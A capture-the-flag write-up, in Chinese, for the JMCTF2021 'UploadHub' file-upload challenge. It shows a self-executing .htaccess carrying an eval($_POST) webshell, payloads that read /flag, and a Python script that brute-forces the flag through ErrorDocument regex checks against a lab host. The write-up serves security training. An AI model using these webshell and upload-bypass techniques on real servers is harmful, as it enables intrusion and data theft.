JMCTF2021-UploadHub
发布时间 : 2025-12-11 21:28
字数:777
预计阅读 3 分钟
阅读 :
JMCTF2021-UploadHub 打开靶机发现是个upload表单。下载源码
发现没有任何上传限制,但是上传上去的木马无法正常被解析
先查看apache2.conf配置文件:
1 2 3 <Directory ~ "/var/www/html/upload/[a-f0-9]{32}/" > php_flag engine off </Directory >
解析:
**<Directory>**:Apache目录配置指令
**~**:表示使用正则表达式匹配
匹配模式 :"/var/www/html/upload/[a-f0-9]{32}/"
/var/www/html/upload/:基础上传目录
[a-f0-9]{32}:32位的十六进制字符串(小写a-f和数字0-9)
/:末尾斜杠表示这是一个目录
关键:
这会让在正则匹配表达式的目录中完全禁用PHP执行
解法一 .htaccess利用 .htaccess是可以修改配置的文件,正好这题不做上传限制
.htaccess
1 2 3 4 5 6 7 8 <FilesMatch .htaccess > SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch > php_value auto_prepend_file .htaccess # <?php eval ($_POST [1 ]);?>
解析:
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理 用法:
1 2 ForceType application /x-httpd-php SetHandler application /x-httpd-php
这里就是将.htaccess文件解析为php
1 Require all granted #允许所有请求
1 php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess 的内容
上传构造好的.htaccess,然后查看网页源码发现上传后的文件地址
1 2 3 4 5 6 7 <img src ='upload/ee1a855d61faa5cb274d982f99f2b440/.htaccess' /> <style > body { background :url (./back.jpg ) no-repeat right -160px ; background-size :90% ; background-attachment :fixed; background-color : rgba (255 , 255 , 255 , 0.8 ); }
跟进上传后的文件查看源码发现webshell成功解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_file .htaccessSetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_file .htaccess
然后尝试运行命令
1 2 3 4 /upload/ee1a855d61faa5cb274d982f99f2b440/.htaccess post: 1=phpinfo();
成功运行phpinfo,然后发现过滤了很多命令执行函数,例如system
这里使用file_get_contents读取flag
payload:
1 2 3 4 5 1 =var_dump (scandir ("/" ));1 =var_dump (file_get_contents ("/flag" ));或者 1 =echo file_get_contents ('/flag' );
解法二 盲注ErrorDocument 404 传.htaccess文件,但内容不一样:
1 2 3 <If "file('/flag')=~ '/flag{/'" > ErrorDocument 404 "wupco" </If>
~ :用于开启“正则表达式”分析,正则表达式必须在双引号 之间。
如果匹配到就设置ErrorDocument 404为”wupco”,那么访问一个不存在的页面时就会显示wupco这个字符串
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport stringimport hashlib ip = '74310c5695d734e667dc2250a05dcd29' //修改成自己的print (ip)def check (a ): htaccess = ''' <If "file('/flag')=~ /''' +a+'''/"> ErrorDocument 404 "wupco6" </If> ''' resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660" ,data={'submit' : 'submit' }, files={'file' : ('.htaccess' ,htaccess)} ) a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/" +ip+"/a" ).text if "wupco" not in a: return False else : print (a) return True flag = "flag{" check(flag) c = string.ascii_letters + string.digits + "\{\}" for j in range (32 ): for i in c: print ("checking: " + flag+i) if check(flag+i): flag = flag+i print (flag) break else : continue
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。